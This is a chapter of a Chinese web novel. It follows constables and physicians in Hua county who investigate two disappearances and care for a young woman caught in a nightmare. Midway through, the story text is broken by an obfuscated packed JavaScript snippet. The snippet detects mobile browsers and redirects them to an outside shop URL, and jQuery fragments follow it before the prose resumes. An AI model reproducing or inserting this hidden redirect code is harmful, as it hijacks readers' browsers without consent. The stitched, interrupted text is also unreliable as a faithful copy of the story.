花县还是他们离开时的模样。青灰色的瓦檐覆着未化的薄雪,街巷里飘着熟悉的炊烟味,仿佛这数日的惊险奔波只是途中一场短暂的梦。
刚入城门,两路人马便客气地分道扬镳。邵栖南一行人向东去了客栈聚集的街市,邵冬生几人则径直返回各自家中。
娄征踏入衙门二堂,尚未坐定,听到的第一句话就是“张卢失踪了。”
“何时发现的?”娄征已敛去倦色,端坐于书房主位,目光沉静地看向跪在下方的心腹。
那男子垂首回话:“前日亥时,他去了馆歌街一带。那处戒备森严,属下不便跟得太近,只得在外围守着。可直到昨日清晨仍不见人出来,属下寻至他住处,已是……人去楼空。”他说罢伏身,“是属下失职,请主子责罚。”
娄征静默地望着他,指节在案几上轻轻叩击,一下,又一下。半响,他方开口,声音不高,却字字清晰:
“去找一个人,”他略作停顿,吐出那个名字,“告诉他,可以开始了。”
黑衣男子倏然抬头,眼中闪过一丝凛意,随即郑重抱拳:“是。”
待属下退去,书房重归寂静。娄征缓缓转动指间戒指,眼底暗潮翻涌。
“叔叔,”他极轻地自语,似说与虚空,又似说与自己,“等着我吧。等着我”
杀了你。
院中老树覆着一层薄雪,时有雪屑簌簌落下,溅在单雨仰起的脸上。她微微阖眼,任由那点凉意化开,整个人陷进树下的摇椅里,又被扶手处未干的湿冷激得一颤。
“总算回来了……”她长长舒了口气。
“椅子是湿的,你也敢往下坐?”邵冬生送她到家,见她这般不管不顾,不由得扶额。
单雨晃了晃手指:“实在是想念这张椅子。我发誓,往后绝不再轻易离开花县。”
邵冬生瞥她一眼,没再接话,径自走进屋内:“这段日子我搬来与你们同住吧,你身上有伤,不宜独自行动。”
“这算什么伤?”单雨不以为意,“从前断过腿不也好好的?何况盼夏就住在隔壁,我俩一人一只手,刚好凑成一双完整的。”说着自己先笑起来。
“你这样我更担心了。”邵冬生看着不知想到什么笑的开怀的单雨,默默说道。
一墙之隔,万盼夏正对着一地行李发愁。她和邵冬生将包袱尽数搬了回来,散在屋中竟堆成座小山。
“我走时,带了这么多东西么?”她喃喃叹气,弯腰提起一个包袱。不料系扣松脱,里头一只小巧的木盒滚落出来,“嗒”一声掉在地上。
盒盖掀开一线,露出里头殷红的膏体——是顾雎送的那盒胭脂。
万盼夏动作微顿,凝视片刻,方默默将盒子拾起,收入妆匣最里侧。指尖拂过光滑的匣面,终是轻轻合上。
“快走快走,”玉万珰不住的催促落后一步满脸不情愿的仲子瑜。
仲子瑜脸上挂着笑,生无可恋的说道:“玉公子,我们究竟要去你府上做什么?”
玉万珰见他磨蹭,索性一把拉住他手腕,几乎是拖着小跑起来。跟在后面的平安差点被骤然关上的门夹到鼻子。
“公子——!”他捂着鼻尖哀鸣。
玉万珰径自将仲子瑜拉到书房一面顶天立地的书架前,满面红光地指着最中间的那层,抽出一册书递过去:“看!”
书封上是竖排的四个朱红大字:
侠
捕
怪
医
仲子瑜看到他翻开的书页,耳根骤然烧红“玉公子喜看话本,可找些更好的来看。”他微微推开,镇定微笑“我可以给你推荐些。”
“也是你写的吗?”玉万珰眨着眼,直白问道。
仲子瑜抬手掩面:“……不是。”
“那便罢了。你写得挺好,何时出下册?看得人抓心挠肺的,早就想问你,一直没寻着机会。”玉万珰边说边在书架上抽出另一册,哗啦翻动,“这本也好。写单捕快心志坚韧,不为境遇所折,纵然仙凡殊途、虐恋纠缠,亦不改初心……”
“玉公子!”仲子瑜终于再听不下去,声音几乎是从指缝里挤出来的,“别说了”
玉万珰,笑着拍拍他肩膀,“别害羞啊,”他一脸无辜:“放心,我绝不告诉单捕快。”
仲子瑜猛地抬起头:“此事绝不可外传!尤其不能告诉邵冬生。”他几乎能预见到,被那“小人”知晓后,自己怕是余生都不得安宁,便是作古了也要被她在碑前拿来调笑。
玉万珰脸色一僵,干笑两声:“哈、哈……”
仲子瑜瞳孔骤缩:“你已经告诉她了?!”
玉万珰连连后退,慌乱间却打不开身后的门,只得转身抵住房门,面对逼近的仲子瑜:“这、这怎能怪我?不过多瞧了你几眼,邵冬生便察觉了。你是知道的——没人能瞒过她。”边说边伸手架住仲子瑜作势要掐过来的手腕,两人一推一挡间,全然未觉身后的门板已不堪重负。
“噼啪——!”
一声脆响,门闩断裂。两人动作瞬间定格。
身后的门裂开了。
“公子,有人……”平安怔怔望着一上一下的两人,他话音滞住,半晌才吐出最后一个字:“找。”
【仲大夫不是喜欢单捕快!?】平安心中惊涛骇浪,目瞪口呆、呆若木鸡、鸡犬不宁、宁静致远、远走高飞!!他他们要远走高飞!
“公子!!”他悲从中来,眼泪夺眶而出,“我该如何向夫人老爷交代啊——!!!”
早已爬起身的两人面面相觑。玉万珰一巴掌拍在平安后脑勺上:“你瞎琢磨什么!”他三言两语将事情解释清楚,见平安抚着额头大大松了口气,玉万珰嘴角不由抽搐了两下。
“谁来找我?”他整了整衣襟,昂首问道,目光却始终不敢瞟向身后的仲子瑜。
平安摇头:“是来找仲大夫的。”
“我?”仲子瑜蹙眉。
几人来到前厅,一位身着黑衣的男子闻声转身,竟是许久未见的胡云华。
“胡大夫?”仲子瑜快步上前,“何事这般急切?是出了什么事?”
胡云华向二人匆匆一揖:“听闻你回来,本欲去医馆寻你,途中听说你来了玉府,便冒昧寻至此地。”
“可是有急症?”仲子瑜从未见过胡云华如此仓皇失色。
胡云华本来就苍白的脸此时更是一点血色都没有:“对不住,我实是别无他法,文生失踪了。”
“怎么回事?”玉万珰上前扶他坐下。
“前几日我们照常义诊,那日正值寒衣节,文生便告假半日,说要出城祭奠父母。可直至暮色来临,她仍未归来。我匆忙报官,一直没有消息,就在前日,张捕快送来一件文生的外衫”他喉头一哽,“衣衫上沾染了大片猛兽撕扯的血迹。他说只在郊野寻到此衣,文生恐怕,已是凶多吉少。”
说着,他从怀中取出一枚银色的耳坠:“我循着他说的地方,在一个不起眼的草丛里的短枝上发现了这个。”
“这是文生时常带着的耳坠。”仲子瑜仔细看了看“许是不小心掉了?”
玉万珰倒是一眼看出来:“这耳坠后扣是开合式的,若非人取下,不然是不会掉的。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16916195|192085||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
胡云华点头,接着道:“我本打算去衙门说这件事,可是临到哪就听说张捕快也失踪了。”
“什么?”两人惊呼,玉万珰想起邵冬生说的张卢有些不对劲。
“我不敢再去衙门,幸而你们回来了。”胡云华起身,朝二人深深一揖,“求你们,务必找到她。”
安抚好胡云华后,玉万珰与仲子瑜便匆匆赶到衙门。
“事情就是这样。”不过半个时辰,才散去不久的几人又重新聚在了衙门。
万盼夏去照看常初柔了,单雨斜倚在椅中,闻言挑眉:
“张卢此人虽聪明,却是个死心眼。从前也只听张大人的话,这次忽然失踪,不会是去找张大人了吧?”
“还可能是,张大人出事了。”玉万珰沉沉说道。
“文生父母的墓在城外不远,那处风水尚可,城中亦有不少人家葬在彼处。寒衣节当日,祭扫者络绎不绝,”仲子瑜沉吟,“怎会无人见过文生?”
“除非,”邵冬生托着下巴,眸色渐深,“是她自己刻意避开了人。”
“她为何要这样做?”单雨不解,“若真想离开,随便编个由头随时都能离开。”
“寒衣节那日,我们发现了倒悬尸林;前日我们离开常州时,遇上了来自京城的邵栖南一行人;如今文生失踪,张卢也行踪不明。”邵冬生放下手,“这当中有什么关联吗?”
话音落下,偏厅内一时寂静。
恰在此时,万盼夏急促的声音自廊外由远及近:“您快些——罢了,我背您!”
一阵杂乱的脚步声模糊掠过,又迅速远去。
几人倏然对视,齐刷刷起身,循声疾步赶往厢房。
房中,常初柔正深陷梦魇。她双眉紧锁,额发已被冷汗浸透,断断续续的呓语从齿缝间溢出,每一声都裹着濒死般的挣扎与恐惧:
“好痛……好痛啊……”
“大夫,您快瞧瞧她!”万盼夏刚将老大夫放下,便急忙将他推到床前。
老大夫稳住身形,搭脉凝神细诊,片刻后却摇了摇头:“这位姑娘脉象虽急,却非病邪所致,身子并无大碍。”
“怎会无碍?”万盼夏指向常初柔惨白的脸、淋漓的冷汗,“您瞧她这般模样,一直喊痛——”
“我再看看。”大夫又俯身细察她的眼睑、气息,仍道,“这是心志被梦魇所困,神思过激所致。唤醒来,好生宽慰便是,并非实症。”
万盼夏一怔,恍然意识到常初柔并非患病,她握了握拳,低声道:“……对不住,是我太急了。”
此时邵冬生几人已踏入房中。“有劳大夫,”邵冬生上前,“我先送您出去。”
老大夫摇摇头,提着药箱嘀咕着“这什么事儿啊。”跟着她离开了。
紧紧握住常初柔冰凉的手。她指尖仍在细微地颤抖,仿佛正徒劳推拒着梦中可怖的景象。
“那小女孩不是说,是美梦?”玉万珰低声问。
“幻术由人决定,但她若察觉,便不由她了。”娄征声音低沉,目光始终未离常初柔的面容。他从怀中取出一只小小玉瓶,倒出一粒米粒大小的朱红色药丸,小心喂入她唇间。
不过片刻,常初柔急促的呼吸渐渐平缓,紧蹙的眉尖也松开了些许,只是仍未醒来。
“我要离开两日。”娄征抬起眼,看向屋内几人,“这两日,初柔便先拜托你们了。”
“你若……”邵冬生顿了顿,还是问了出来,“没回来呢?”
娄征低头,在常初柔仍微颤的指尖上轻轻落下一吻。
“我一定会回来。”